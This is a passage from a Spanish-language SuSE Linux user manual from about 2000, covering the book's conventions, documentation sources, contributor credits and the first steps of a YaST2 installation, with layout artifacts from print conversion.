presentan el kernel y dan las instrucciones sobre cómo generar y usar su propio kernel. * * 5 1. Introducción _________________________________________________________________________________________________________________* *_______________________________________@ Actualización, paquetes de software, arrancar: Se comentan estrategias de actualización, la administración del software (capítulo 15 en la pági- na 393Actualización del sistema ~ Gestión de paqueteschapter.15) y se introducen las características especiales de SuSE Linux tal como el funcionamiento de arranque (capítulo 17 en la página 431El concepto de arranque de SuSE Linux chapter.17). Seguridad e inicio: Los conceptos de seguridad (capítulo 18 en la pági- na 451Seguridad y Confianzachapter.18) y los consejos para principiantes (capítulo 19 en la página 467Introducción a Linuxchapter.19) se reunen al final del libro. Estos capítulos explican los procedimientos y comandos básicos de Linux. Anexo técnico: En el anexo hay una lista de los ficheros de configuración más importantes, de las combinaciones de teclas más frecuentes, ficheros de ejemplo, la licencia, las preguntas más frecuentes sobre SuSE Linux (FAQ, anexo F en la página 523Las SuSE Linux-FAQappendix.F), etc. Soporte: Las tareas del soporte de instalación y las posibilidades del con- siguiente soporte empresarial, se detallan en el anexo H en la pági- na 541Soporte y servicios de SuSE GmbH appendix.H ~ léalo si desea entrar en contacto con SuSE! Glosario, bibliografía e índice: Si le hace falta algún dato o información, use el extenso anexo y el glosario (anexo B en la página 495Glosarioappendix.B) para encontrar las páginas con explicación de términos importantes o sim- plemente para aumentar su conocimiento general sobre Linux, Unix y ordenadores. 1.3 La leyenda ~ o lo que significa ''tierra: # ls'' En este manual tratamos de usar continuamente los mismos símbolos para la misma clase de referencia. Las indicaciones más frecuentes se explican en la tabla 1.1 en la página siguiente. _______________________________________________________________________________________________________* *_________ __indicación____________________________________________Significado____________________________________* *_________ Linus Torvalds personas importantes YaST (yast ) arrancar el programa YaST , medi- ante el comando yast Adabas D el producto Adabas D /etc/passwd nombre de un fichero y de una car- peta introduciendo este comando, fichero debe ser reemplazado por el nombre en cuestión; los signos de mayor y menor (<>) no se introducen! PATH la variable de entorno con el nom- bre PATH _______________________________________________________________________________________________________* *_________ Tabla 1.1: Continúa en la página siguiente ... 6 _____________________________________________________________________1.4.__La_lucha_con_la_cantidad_de_páginas______________* *______________________ ______________________________________________________________________________________________________________________ 192.168.1.2 el valor de una variable ls el comando a introducir ls `news' el usuario news tierra: # susehelp `root'-shell en el directorio ~ (`~' indica el ''directorio-home'' de cada usuario, + Directorio de usuario). En este ejemplo se debe introducir el comando ayuda ; tierra es el ejemplo para el nom- bre de una computadora (ingl. host- name). tux@tierra:/tmp > ls shell del usuario `tux' en el direc- torio /tmp; aquí se debe introducir la orden ls ; a propósito, Tux es el nombre oficial del pingüino de Lin- ux. . . C:\> fdisk DOS-Prompt introduciendo el co- mando fdisk Alt||||||__ tecla para pulsar; en este caso la tecla ''Alt'' Ctr||||||___l+ |A_____|lt+ |S______|_upr mediante `+' se indican las teclas que se deben pulsar simultánea- mente; las que se deben pulsar suce- sivamente se separan con espacios "Permission denied" mensajes del sistema `Actualizar sistema' la opción de menú `Actualizar sistema' Constructirola la empresa ''Constructirola'' + referencia al glosario ______________________________________________________________________________________________________________________ Tabla 1.1: Leyenda de las indicaciones en el texto 1.4 La lucha con la cantidad de páginas Este libro solamente puede tener una cantidad finita de páginas, así que lamentablemente es imposible explicar todo en forma impresa ya que la can- tidad de software disponible para Linux día a día crece más y más, por lo tanto, es importante mencionar aquí la documentación disponible en línea. No obstante, se ha incluido en este libro una sección acerca de los ''primeros pasos'' (hacer ''logins'', copiar, borrar y editar ficheros, acceder a disqueteras y unidades CD-ROM, etc.) que se encuentran en el capítulo 19 en la pági- na 467Introducción a Linuxchapter.19 y siguientes. * * 7 1. Introducción _________________________________________________________________________________________________________________* *_______________________________________@ 1.4.1 Banco de datos de soporte Las respuestas a muchas preguntas y problemas ya existen en nuestro banco de datos de soporte, en el cual hay centenares de artículos con acceso las 24 horas del día bajo la siguiente dirección electrónica: http://sdb.suse.de/ sdb/de/html/. Aparte de la documentación en línea (en el web) ésta existe también en el pa- quete sdb_es, serie doc, en el SuSE Linux-CD. Se pueden leer los artículos con cualquier navegador, p. ej. (arena , lynx , netscape ). 1.4.2 Ayuda en hipertexto Existe una gran cantidad de documentación en forma de hipertexto. El sis- tema de hipertexto se arranca con el comando susehelp . Si se ha ejecutado el sistema X Window, se activa otro programa (''browser'') para leer la docu- mentación. Bajo el sistema X la computadora busca el Netscape Communi- cator (figura 1.1 en la página siguiente) y si lo encuentra lo arranca. Si hay una consola de texto arranca lynx (figura 16.7 en la página 422El sistema de ayuda para SuSE Linux section.16.4). Las opciones del sistema de ayuda se obtienen mediante el comando tux@tierra:/home/tux > susehelp -help En el apartado 16.4 en la página 422El sistema de ayuda para SuSE Linux section.16.4 se explica cómo afinar el sistema de ayuda. 1.4.3 Texinfo e Info Algunos paquetes de programa contienen documentación en forma de ficheros Texinfo, que se pueden convertir al formato Info; este formato es otro tipo de hipertexto. Los documentos Ninfo se pueden leer con el programa Infoviewer (info ) o usando el modo info en Emacs (emacs ). En el entorno del sistema X Window se pueden leer estos ficheros de manera agradable usando el programa tkInfo (tkinfo ); XInfo (xinfo ) por el contrario es más bien sencillo. También es posible leer los ficheros del tipo Info y Texinfo con el sistema de ayuda de SuSE (ver la en la página 423El sistema de ayuda para SuSE Linux section.16.4). 1.4.4 Manuales de Unix (''Manual-Pages'') La forma típica de conseguir información sobre programas o comandos en un sistema Unix es usando el comando man (ver el apartado 19.9 en la página 480Manual-Pagessection.19.9). Introduciendo el comando tux@tierra:/home/tux > man se obtiene un resumen de la función y de las opciones de cada comando. El sistema de ayuda de SuSE sirve también para leer las + Manual-Pages, que muchas veces se llaman de forma abreviada ''manpages'' (ver apartado 1.4.2). 8 _____________________________________________________________________1.4.__La_lucha_con_la_cantidad_de_páginas______________* *______________________ Figura 1.1: Página principal del sistema de ayuda (Netscape) 1.4.5 Los ficheros FAQ-, HowTo- y README En el directorio /usr/doc existen muchos sub-directorios en los cuales hay ficheros con información sobre los paquetes. Allí es donde muchas veces se encuentra la opción que se ha estado buscando durante mucho tiempo, así como el nombre del fichero de configuración que no se encuentra en ninguna parte o cómo se llama por ej. el gato del programador;-) Siempre vale la pena consultar esta fuente de información antes de descartar y borrar algún programa. * * 9 1. Introducción _________________________________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | Un reconocimiento especial merecen los FAQ (preguntas frecuentes) de * * |||| || SuSE Linux ~ se encuentran en anexo F en la página 523Las SuSE Linux- * * |||| | FAQappendix.F. * * |||| |_______________________________________________________________________________________________________* *________|||_ El directorio /usr/doc/faq merece una mención especial ya que contiene listas con preguntas frecuentes y sus correspondientes respuestas; hace falta tener instalado el paquete manyfaqs, serie doc. El directorio /usr/doc/ howto contiene instrucciones para la instalación de diversos paquetes y con- sejos sobre cómo solventar posibles problemas. También es posible leer la mayoría de los HowTos accediendo desde el menú del entorno gráfico o a través del sistema de ayuda de SuSE (ver apartado 1.4.2 en la página 8Ayuda en hipertextosubsection.1.4.2). Bajo Linux se puede leer esta documentación usando p. ej. less 1 : tux@tierra:/home/tux > cd /usr/doc/howto/en tux@tierra:/usr/doc/howto/en > less DOS-to-Linux-HOWTO.gz Las versiones más importantes de los ficheros FAQ y HowTo que estaban a disposición en el momento del cierre de la edición del CD, se encuentran en el directorio docu del primer CD, así que también vale la pena echar una mirada a este directorio. Además, estos ficheros no están comprimidos y por tanto pueden ser leídos antes de la instalación, p. ej. desde DOS con el comando type . Una fuente de información exhaustiva, que responde a preguntas y problemas con el kernel, es el directorio /usr/src/linux/Documentation que existe en el disco cuando se ha efectuado la recomendable instalación de las fuentes del kernel (paquete linux o paquete lx_suse). Aparte de esto, hay muchos consejos valiosos en los respectivos sub-directorios de estas fuentes (p. ej. respecto a drivers para tarjetas de sonido), tal como en el directorio del kernel mismo ~ para los más curiosos y atrevidos. Es muy aconsejable consultar las fuentes de información aquí mencionadas por si algún día tuviera una pregunta que no cubra este libro ya que por una parte el tamaño de éste es limitado y por otra el desarrollo del sistema Linux es tan rápido que un documento impreso representa el estado actual para poco tiempo. 1.4.6 Libros gratuitos En el paquete books, serie doc (documentación) hay un par de libros en for- mato PostScript, que se pueden visualizar o imprimir con el paquete gsview, serie gra (gráficos) o el paquete gv, serie gra (gráficos). Antes de imprimir uno de estos libros se debería considerar si no es más económico comprar un libro de este estilo, tal vez en español, ya que los libros mencionados son en inglés. 1.5 Méritos Son muchos los que han contribuido al tremendo éxito de Linux, pero espe- cialmente_queremos_dar_las_gracias_a_Florian_La Roche, cuya experiencia 1 Sí Sr. Experto, ha leído correctamente: nuestro less es tan ''list'' que incluso sabe leer ficheros comprimidos ;-) 10 ________________________________________________________________________________________________________________1.5.__Mérito* *s_____________________ en la construcción de un sistema Linux ha sido extraordinariamente valiosa; fue su incansable trabajo el que finalmente permitió generar un núcleo de sis- tema súper-actual y potente. Como tenía muchos años de experiencia con su propia distribución jurix , que según los comentarios confidenciales en Inter- net era la mejor, pudo así contribuir de manera importante en el desarrollo de SuSE Linux. También damos las gracias a Harald König del XFree86 TM -Team, que nos dio consejos valiosos respecto al sistema X Window y a Eberhard Mönkeberg, quien siempre echaba una mano en caso de problemas con drivers de CD-ROM. Muchas gracias a Hans Lermen; de él es el conocido loadlin (loadlin.exe ), que permite arrancar Linux desde DOS y, el programa DOS Setup (setup.exe ) de este sistema Linux. Los siguientes altruistas hicieron posible la traducción de YaST y de linuxrc ; todos ellos se preocuparon durante su tiempo libre de abrir el mundo de Linux a una mayor cantidad de personas en todo el mundo: Gunay Arslan, Zbigniew Baniewski, Sándor Bárány, Olaf Borkner-Delcarlo, Michael Bravo, Michael Burghart, Franca Delcarlo, Jochen Depner, Benedek Hermann, Ibán José García Castillo, Dora Georgarou (with Romy the barking dog), Pablo Iran- zo Gómez, Krzysztof Hotiuk, Milan Hromada, Arthur Kerkmeester, Ralf A. Lanz, Françoise Lermen, Zoltán Levárdy, Nuno Lima, Tomas Morkus, Car- men Marín Pérez, Matts Nordman, Aleksey Novodvorsky, Razvan Cristian Oprea, Gerco Oudhof, George Papamichelakis, Alexey Pavlov, Ákos Rátkai, Voula Sanida, Aleksey Smirnov, Steve Varadi, P. Vlachodimitropoulos, Joao Teles, Nuno Vieira, January Weiner y I Made Wiryana. También reciben nuestra gratitud los Beta-tester, que no tienen miedo a poner continuamente en peligro la estabilidad de su sistema: Andreas Koegel, Christian Hüttermann, Dirk Ulbrich, Eberhard Mönkeberg, Frank Hofmann, Georg C. F. Greve, Harald König, Harald Wieland, Karlo Gross, Jens Frank, Lutz Pressler, Martin Hehl, Martin Konold, Martin Schulze, Michael Klein- henz, Norbert Eicker, Oliver Zendel, Ralf Geschke, Stefan Bliesener, Thomas Wörner, Ulrich Goebel, Ulrich Windl, Volker Lendecke, Wolf- gang Barth y das KDE Team. Andrea Ratschker y Thorsten Wandersmann se encargaron del tedioso tra- bajo de generar y editar las imágenes. Holger Achtziger, Harald Bertram, Thomas Biege, Peter Findeisen, Matthias Frühauf, Kurt Garloff, Lenz Grim- mer, Carsten Groß, Berthold Gunreben, Bernhard Hölcker, Kevin Ivory, Klaus Kämpf, Karsten Keil, Wolfgang Kern, Thorsten Kukuk, Johannes Meixner, Petr Pavlik, Björn Pfeiffer, Jürgen Scheiderer y Robert Adrian Wal- czak nos dieron consejos importantes, e incluso parcialmente, texto listo para el manual. Especialmente a Holger Dyroff, Christian Egle, Frank Sundermeyer y Clau- dio Taulli que se encargaron de la producción ~ que continúen así! Aparte de ellos hay mucha gente que trabaja en el fondo, pero sin los cuales no funcionaría nada: Adrian, Agathe, Alexander, Alexander, Alexander, Alexan- dra, Anas, Andrea Karin, Andreas, Andreas, Andreas, Andreas, Anita, Antje, Arnd, Barbara, Beate, Bernd, Bernhard, Bernhard, Berthold, Birgit, Brigitte, * * 11 1. Introducción _________________________________________________________________________________________________________________* *_______________________________________@ Burchard, Carlos, Carsten, Carsten, Carsten, Christian, Christian, Christian, Christian, Christian, Christian, Christian, Christoph-Erdmann, Claudia, Clau- dio, Costin, Daniel, Daniel, David, Dieter, Dieter, Dirk, Dirk, Dirk, Dragan, Erich, Evelyn, Florian, Francisca, Francoise, Francoise, Frank, Frank, Frank, Frank, Frank, Frank, Friedrich, Gabriele, Gema, Georg, Gerlinde, Ghayss, Gregor, Harald, Harald, Hardo, Hartmut, Heidi, Heiko, Helene, Helmut, Hol- ger, Holger, Hubert, Hubert, Ines, Ingo, Jan, Jesko, Joachim, Jochen, Jo- hannes, Jordi, Jörg, Jörg, Jörg, Jörg, Jörg, Jörg-Gerald, Jürgen, Jürgen, Jür- gen, Kadriye, Kai, Karin, Karin, Karine, Karl, Karl-Heinz, Katrin, Kenneth, Klaas, Klaus, Klaus, Klaus, Konrad, Kurt, Kyung Ae, Lenz, Manuela, Marc, Marco, Marcus, Marcus, Marius, Mark, Markus, Martin, Martin, Martin, Martina, Martina, Matthias, Matthias, Matthias, Matthias, Melanie, Michael, Michael, Michael, Michael, Michael, Michael, Michael, Michael, Michael, Michael, Michaela, Michaela, Milisav, Miriam, Nadin, Nicolas, Nicolaus, Nicole, Nina, Norbert, Olaf, Oliver, Oliver, Oliver, Patricia, Peter, Peter, Pe- ter, Peter, Peter, Peter, Peter, Petra, Philipp, Pia, Reinhard, Reinhard, Remo, Renate, Rolf, Rüdiger, Rüdiger, Rüdiger, Sabina, Sebastian, Silke, Silvia, Si- mon, Stefan, Stefan, Stefan, Stefan, Stefan, Stefan, Stefan, Stefanie, Steffen, Stephan, Stephan, Stephan, Stephen, Sven, Sylvia, Tanja, Tatjana, Thomas, Thomas, Thomas, Thomas, Thomas, Thomas, Thorsten, Thorsten, Tilman, Timo, Ulrich, Ulrich, Uwe, Uwe, Uwe, Volker, Waldo, Walter, Waltraud, Werner, Wittawat, Wolfgang, Wolfgang, Wolfgang und Wolfgang ~ muchas gracias a todos! La imagen en la cubierta del libro viene de Stephan Endraß, también muchas gracias a él! Para la gente con interés matemático, a continuación algunas palabras sobre ello: La superficie de grado 10 de Barth Considere la ecuación - 2 4 2 . - 2 4 2 . - 2 4 2 . - 4 4 4 - 2 2 2 2 2 2 . . 8 x ø y y ø z z ø x x + y + z 2 x y + y z + z x - 2 2 2 . 2 - 2 2 2 . 2 + (3 + 5ø) x + y + z 1 x + y + z (2 ø) = 0; p __ donde ø = (1 + 5 )=2 denota la relación de oro. Esto define la superficie de grado 10 (decic) encontrada por W. Barth (Erlangen, Alemania) en 1994. Esta superficie es altamente notable porque tiene 345 doble puntos, lo cual es un record mundial. Según el complicado teorema del matemático japonés Y. Miyaoka, ninguna superficie de grado 10 puede tener más de 360 doble puntos, pero hasta ahora nadie ha visto alguna con más de 345. La ecuación que se muestra arriba se obtiene de los icosahedrales invariables, los cuales ya se conocían hace dos siglos gracias a E. Goursat (1858-1936). Por lo tanto el grado 10 de Barth admite la simetría del icosahedron. 0 * * * * 12 ________________________________________________________________________________________________________________1.5.__Mérito* *s_____________________ Los desarrolladores de Linux impulsan con mucho esfuerzo voluntario y en colaboración a escala mundial, el avance de Linux. Les agradecemos su em- peño ~ sin ellos no existiría este CD. Con nuestro trabajo queremos propor- cionar el resultado de su esfuerzo a un círculo amplio de usuarios. ¡Nuestro agradecimiento se dirige también a Patrick Volkerding por el soporte a nuestro trabajo y naturalmente a Linus Torvalds! Gracias sobre todo a Frank Zappa y Pawar! Nürnberg, 16 de marzo de 2000 Have a lot of fun! Su equipo SuSE * * 13 1. Introducción _________________________________________________________________________________________________________________* *_______________________________________@ 14 Parte II Instalación SuSE Linux 15 Capítulo 2 La primera instalación de SuSE Linux 2.1 ¡Directo al éxito! Desde SuSE Linux 6.3 se ha simplificado aún más la primera instalación del sistema, ya que con YaST2 ~ el nuevo YaST ~ tiene desde un principio a su disposición una herramienta inteligente integrada en un entorno gráfico. Con YaST2 y una computadora moderna, bien equipada, SuSE Linux se instala cómoda y rápidamente. En el caso que lo desee o lo necesite, puede configurar el sistema en modo texto. Varias pantallas con diálogos guían al usuario por la instalación; siempre que el usuario tenga libertad de configuración, se le ofrece la posibilidad de tomar una decisión o de introducir datos. _______________________________________________________________________________________________________________________|| |||||||| Aparte de YaST2 , especialmente diseñado para el principiante, existe ||| | |||||||| aún el programa YaST (ingl. Yet another Setup-Tool) tradicional para el || | |||||||| || | |||||||| usuario experimentado de SuSE Linux. ~ consulte las explicaciones en el || | |||||||| || | |||||||| apartado 2.2 en la página 30Instalación con YaST en modo texto (YaST || | |||||||| 1)section.2.2. || | ||||||||_______________________________________________________________________________________________________________||_ 2.1.1 Preparativos breves A continuación le ofrecemos un resumen para ayudarle a decidir cuál método es el más adecuado en su caso: 1. Siempre que se cumplan las siguientes condiciones, es posible instalar el sistema con éxito directamente desde el CD 1 usando YaST2 : o La computadora ~ debería tener la posibilidad de arrancar desde el CD-Rom; ~ es recomendable un sistema gráfico según el estándar VESA 2.0 (es de suponer que una computadora reciente lo tenga) ~ en lo que sea posible unos 64 MB de memoria RAM o más ~ un procesador tipo Pentium. Si no se cumplen todos los requisitos puede haber ciertas restricciones: ~ Arrancar desde el disquete de arranque ''Bootdisk''. * * 17 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ ~ El software del CD siguiente no se instala antes de un ''arranque intermedio'' por falta de memoria RAM. ~ La instalación se lleva a cabo en modo texto cuando no se reconoce bien la tarjeta gráfica. o El disco duro proporciona suficiente espacio disponible para la insta- lación: 150 MB para el sistema básico, alrededor de 500 MB para la instalación estándar con el requerimiento de más espacio para compo- nentes adicionales. Para ello existen las siguientes posibilidades: ~ Una computadora nueva sin sistema operativo para realizar la primera instalación. ~ Un disco duro que ya lleva un sistema operativo instalado, pero que aún guarda suficiente espacio. ~ Existe un segundo disco duro para SuSE Linux. ~ Es posible borrar unas particiones ya usadas. ¡En este caso reflex- ione sobre cuáles son los datos que requieren un respaldo antes de la instalación! Si se cumplen estas condiciones, ya es posible comenzar ~ continúe en- tonces con el apartado 2.1.2. 2. Use el ''antiguo'' YaST para la instalación si se cumplen las siguientes circunstancias: o El usuario quiere realizar una instalación ''profesional'', ajustando el sistema de forma especial. o Las particiones en el (los) disco(s) se hacen a gusto propio o es preciso usar particiones distribuidas en varios discos. o Actualización de SuSE Linux: Primero consulte el capítulo 15 en la página 393Actualización del sistema ~ Gestión de paqueteschapter.15. ________________________________________________________________________________________________________* *________ | Para iniciar la instalación con el programa YaST ''antiguo'' hace falta in- * * |||| | * * ||| | dicar yast1 en el prompt de arranque ("boot: "). Hay explicaciones * * ||| | * * ||| | concretas para este modo de instalación en el apartado 2.2 en la pági- * * ||| | na 30Instalación con YaST en modo texto (YaST 1)section.2.2. * * ||| |_______________________________________________________________________________________________________* *________|||_ Además resulta útil leer los ficheros README del CD 1 o CD 2 (bajo DOS/Windows README.DOS ) para ver los cambios adicionales que se re- alizaron después de la impresión del manual. 2.1.2 A continuación: La pantalla de bienvenida Encienda la computadora y coloque el CD 1 en el lector. Si ésta no quiere arrancar desde el CD, tal vez sea necesario cambiar la secuencia de arranque en la BIOS de la computadora a CDROM,C,A ; la documentación de su com- putadora o placa base le indica cómo realizar este cambio. Pasado un momento aparece la pantalla de bienvenida (figura 2.1 en la página 31A continuación: La pantalla de bienvenidasubsection.2.2.2) y el ''prompt'' de arranque "boot:ä parece en el extremo inferior de la pantalla. Ahora tiene alrededor de 3 segundos para intervenir y aprovechar dos partic- ularidades de YaST2 : 18 __________________________________________________________________________________________________2.1.__¡Directo_al_éxito!__* *______________________ 1. Efectuar la instalación en modo texto. Se trata de una opción razonable para distintas circunstancias especiales; las pantallas en modo texto pre- sentan p. ej. mejor visibilidad a las personas con problemas de vista. Para entrar al modo texto pulse |C______|_trl. En la parte inferior derecha de la pantalla se indica el inicio en modo texto. 2. Cargar el ''YaST Extension Disk''. ~ Mediante esta opción es posible cargar actualizaciones y ampliaciones para YaST2 antes de la instalación propiamente dicha. En este caso pulse |_____|Alt. En la parte derecha de la pantalla aparece el mensaje "Have your extension disk ready" y este disquete se pedirá más adelante. A continuación aparecerán en la parte inferior de la pantalla los mensajes "initrd..." y "Loading linux..."; transcurrido un momento el + Ker- nel arranca ~ se hace notar por muchos ''mensajes de kernel'' que pasan rápi- damente por la pantalla. YaST2 se está iniciando y la computadora se tarda un par de segundos para mostrar la superficie gráfica. Posibles problemas o Si el sistema se para después de mostrar la pantalla de bienvenida ~ lo que significa que la computadora tiene problemas de arrancar ~ existe la posibilidad de intervenir pulsando cualquier tecla durante los 3 segundos siguientes a la aparición del ''prompt'' "boot:". Así la pantalla se queda estática y es posible_introducir datos; en estos casos el arranque continúa cuando se pulsa |_____-|. _______________________________________________________________________________________________________________________|| |||||||| Si se presentan problemas de arranque, consulte el apartado 2.7.5 en la ||| | |||||||| || | |||||||| página 64Un lector CD-ROM ATAPI se traba leyendosubsection.2.7.5 y || | |||||||| el apartado 14.3.2 en la página 360Parámetros del kernel en el Boot- || | |||||||| || | |||||||| Promptsubsection.14.3.2. Estos explican como resolver los posibles prob- || | |||||||| || | |||||||| lemas indicando ''parámetros de kernel''. || | |||||||| La lista de comprobación de hardware en el apartado 2.7.13 en la pági- || | |||||||| || | |||||||| na 67Problemas generales de hardwaresubsection.2.7.13 también es una || | |||||||| buena fuente de información. || | ||||||||_______________________________________________________________________________________________________________||_ o Hay algunas versiones de la BIOS, que no son capaces de tratar una im- agen de arranque ''Bootimage'' grande (2,88 MB), así como se encuentra en el CD 1. En tal caso intente usar el CD 2 o el disquete de arranque ''Bootdisk''. 2.1.3 ¡Allí está: YaST2 ! Durante toda la instalación, YaST2 muestra en la parte izquierda de la pan- talla un texto de ayuda en relación a la fase actual de la instalación. YaST2 testea el hardware y configura todo el hardware que reconoce. El avance en este proceso se muestra gráficamente . Una vez terminada esta fase, se pasa automáticamente al próximo punto. * * 19 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ 2.1.4 Selección del idioma Ahora tiene que intervenir por primera vez en el proceso de instalación medi- ante el teclado o el ratón. Se pueden seleccionar con el mouse todos los campos, cuadros de diálogo y lista. El uso del teclado en lugar del mouse debe seguir las siguientes pautas: o Con | _____|Tabse puede direccionar__el__foco hacia__una_ determinada zona, un cuadro de diálogo o un botón;_|*___________|Shift+_|T____a|bpermite seleccionar otros grupos de selección. Con | _"|y | _#| es posible seleccionar una opción o pasar por una lista ~ esto depende del área activa (el área con el foco). o El comando seleccionado se ejecuta con |______|-, normalmente se ejecuta justamente la acción que figura sobre el botón activo. o Con |E___________|spaciose puede marcar opciones. o Además, es posible_activar la mayoría de las opciones con la combinación de teclas |A____l|t+ Letra subrayada (de la opción). ________________________________________________________________________________________________________* *________|| | No se asuste: Aquí y en todos los demás cuadros de diálogo YaST2 * * |||| | * * ||| | solo colecciona información, que se presentará resumida más tarde. * * ||| | * * ||| | En el apartado 2.1.13 en la página 26Confirmación e inicio de la * * ||| | instalaciónsubsection.2.1.13 aún tiene la posibilidad de usar el botón * * ||| | * * ||| | `Atrás' para volver a los diálogos anteriores con el fin de corregir los * * ||| | datos introducidos. * * ||| |_______________________________________________________________________________________________________* *________|||_ YaST2 pide que se indique el idioma; pulsando `Siguiente' todos los textos de los diálogos siguientes cambian al idioma deseado. Posibles problemas o En caso de tener un tipo de mouse poco común, es posible que éste no se reconozca automáticamemte. En este caso use primero el mouse tal como se explica al comienzo de este apartado. El siguiente diálogo de YaST2 le permite configurar el mouse manualmente; ver apartado 2.1.5). 2.1.5 Selección del mouse El diálogo que se presenta aquí solamente aparece cuando YaST2 no ha reconocido el mouse automáticamente. Aparece un cuadro de diálogo con una lista en la cual es preciso seleccionar el tipo de mouse usado . Con las flechas |#_|_y |"_|_se puede pasar por la_lista;_cuando se haya encontrado el tipo de mouse correcto,_se debe pasar con |T____a|bal botón `Probar' pulsan- do seguidamente |_____-|. Ahora mueva el mouse; si éste se mueve de forma controlada es porque todo está bien y entonces debe ser posible seleccionar `Siguiente' con el mouse :-) En caso_de_no haber encontrado el tipo correcto de mouse, es posible volver con |T____a|ba la lista y corregir la definición. 20 __________________________________________________________________________________________________2.1.__¡Directo_al_éxito!__* *______________________ Posibles problemas o Ningún tipo de mouse funciona o no se necesita ninguno. En este caso active la opción `Ninguno' para pasar por el resto de la instalación sin usar el mouse. 2.1.6 Determinar el teclado y zona horaria ¿Cuál distribución de teclado está usando? ¿En cuál punto de la tierra (o sea en cuál zona horaria) se encuentra con su computadora? Determine dónde se encuentra. o También existe aquí la posibilidad__de_ comprobar el teclado. Para ello active con un click del mouse o con |T____a|bel recuadro de introducción de texto. Compruebe sobre todo `y'/`z' y los caracteres acentuados. o La segunda opción es la de una lista de países que aparece en una estruc- tura de árbol (continente/país/provincia). Seleccione el país o una parte de él; YaST2 se encarga de encontrar la zona horaria correspondiente. Con el botón `Siguiente' se llega al próximo cuadro de diálogo. 2.1.7 ¿Instalación nueva o Actualización? Con YaST2 se puede instalar SuSE Linux desde cero o actualizar una versión existente (''Update'') para mantener las configuraciones individuales. `Instalación nueva' ~ Seleccione esta opción, ya que el presente aparta- do trata sobre la instalación nueva de SuSE Linux. `Actualización' ~ Esta opción no se detalla aquí.. La descripción en los siguientes apartados supone haber seleccionado `In- stalación nueva' pasándose a `Siguiente'. 2.1.8 Preparar el disco duro Los siguientes pasos están destinados a seleccionar y preparar el (los) disco(s) duro(s) para instalar SuSE Linux. ~ Según la configuración individual de la computadora, puede haber variaciones más o menos grandes sobre el ejemplo expuesto. Paso 1 o Cuando hay más de un disco duro en la computadora, primero hay que decidir cuál usar. Los discos duros que se encuentran se apuntan en una lista. o Otra posibilidad es la de seleccionar la opción (`Configuración avan- zada'), para tener la posibilidad de particionar el disco manualmente. Queda la posibilidad de entrar más tarde a esta opción, en el supuesto de que falte espacio en el disco duro. Lo normal es seleccionar un disco y pulsar después `Siguiente'. * * 21 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ Paso 2 Es posible que se presente una de las siguientes situaciones: o En caso de que el disco no estuviera vacío, YaST2 muestra todas las par- ticiones ya existentes, tal como la opción `Todo el disco' . También se muestra el espacio libre, no particionado al ''final'' del disco duro; éste está seleccionado por defecto. YaST2 solo puede usar el espacio libre al final, como espacio adicional para SuSE Linux. Por ejemplo, si hay 3 par- ticiones configuradas, las particiones 1 y 2 se mantienen y la partición 3 se marca para ser usada por SuSE Linux. Para usar todo el disco duro para SuSE Linux seleccione `Todo el dis- co'. o En caso de un disco duro vacío, todo el disco se usará para SuSE Linux. Si las necesidades de particionar no concordasen con las posibilidades que se ofrecen aquí, vuelva `Atrás' ~ como consta en la página anterior ~ , para particionar allí manualmente con `Configuración avanzada'. ________________________________________________________________________________________________________* *________|| | ¡Todos los datos que se encuentren en las particiones previstas para SuSE * * |||| | * * ||| | Linux se perderán, ya que es preciso formatearlas! * * ||| | Atención: Si se selecciona `Usar todo el disco', todos los datos * * ||| | * * ||| | en el disco se borrarán; también los otros sistemas operativos que * * ||| | se encuentren allí (ver el apartado 2.10.1 en la página 77Establecer * * ||| | * * ||| | particionessubsection.2.10.1). * * ||| |_______________________________________________________________________________________________________* *________|||_ Al pulsar `Siguiente' en la instalación, también se comprueba si hay su- ficiente espacio de disco para la instalación mínima, si se pueden añadir tres particiones adicionales y si es posible arrancar desde el disco duro. ~ Si hay algo que no encaja aparece una advertencia con la posibilidad de modificar la selección que causa el problema. Cuando todos los requisitos se cumplen y más tarde la verdadera instalación comienza, YaST2 configura las particiones. Todo el disco o bien la zona libre para SuSE Linux se divide en tres particiones: Una partición pequeña para /boot (alrededor de 16 MB, cuanto más cerca del comienzo del disco mejor), una partición para Swap (128 MB) y el resto para /). Hay información general sobre particiones en el apartado 2.8 en la página 70Particionar para principiantessection.2.8. Posibles problemas o No es posible seleccionar una determinada partición. Dentro de la vía de instalación estándar, YaST2 no permite seleccionar particiones ''desde el interior'' del disco duro. Para subsanar este problema hay que entrar a la `Configuración avanzada' y particionar desde allí. 2.1.9 Selección del software Mediante los siguientes diálogos en pantalla se puede determinar el contenido de la instalación de SuSE Linux. Para ello seleccione una de las posibilidades disponibles tal como los componentes adicionales que desee. 22 __________________________________________________________________________________________________2.1.__¡Directo_al_éxito!__* *______________________ Selección de software: Definir la base Primero tiene que optar por el equipamiento básico de su sistema: `Sistema mínimo' ~ Se trata de un sistema operativo Unix en modo texto completamente funcional (el núcleo y todas las utilidades importantes). Cuando hay poco espacio en el disco, este sistema permite probar el fun- cionamiento de SuSE Linux. También resulta útil cuando la computa- dora debe trabajar con una sola aplicación puntual (espacio requerido: 150 MB ). `Sistema estándar' ~ Este sistema representa un conjunto de software equilibrado para el inicio, como p. ej. el entorno gráfico, todo para im- primir, juegos, utilidades para el acceso y uso de Internet, editores, repro- ductor de CDs, etc. (espacio requerido: 500 MB ). `Casi todo' ~ Se instala `Casi todo' si necesita toda la variedad del software SuSE Linux o si quiere llegar a conocerla. Esta opción requiere más de 6 GB de espacio en el disco duro. El `Estándar' se recomienda para el inicio. Si hace falta más software es posible instalarlo después. Los botones bajo `Software adicional' permiten añadir determinados componentes (''paquetes'') o bien excluirlos. Selección extendida de software: Cambio de detalles En caso de haber seleccionado `Software adicional' en el diálogo ante- rior, ahora es posible modificar el conjunto de software en detalle. Dentro del `Software adicional' existen determinados conjuntos de pa- quetes, de los cuales se puede seleccionar toda la cantidad deseada. Para el caso del software de dominio público, existe la posibilidad de instalar las fuentes junto con los programas compilados seleccionando `Instalar fuentes disponibles'. Estas fuentes pueden ocupar bastante espacio y generalmente solo interesan a los programadores. _______________________________________________________________________________________________________________________|| |||||||| Es posible ampliar la selección de software en cualquier momento después ||| | |||||||| de la instalación, ejecutando YaST2 o el tradicional YaST (ver capítulo 3 || | |||||||| || | |||||||| en la página 83YaST ~ Yet another Setup Toolchapter.3). Si prefiere llegar || | |||||||| ahora mismo al final de la 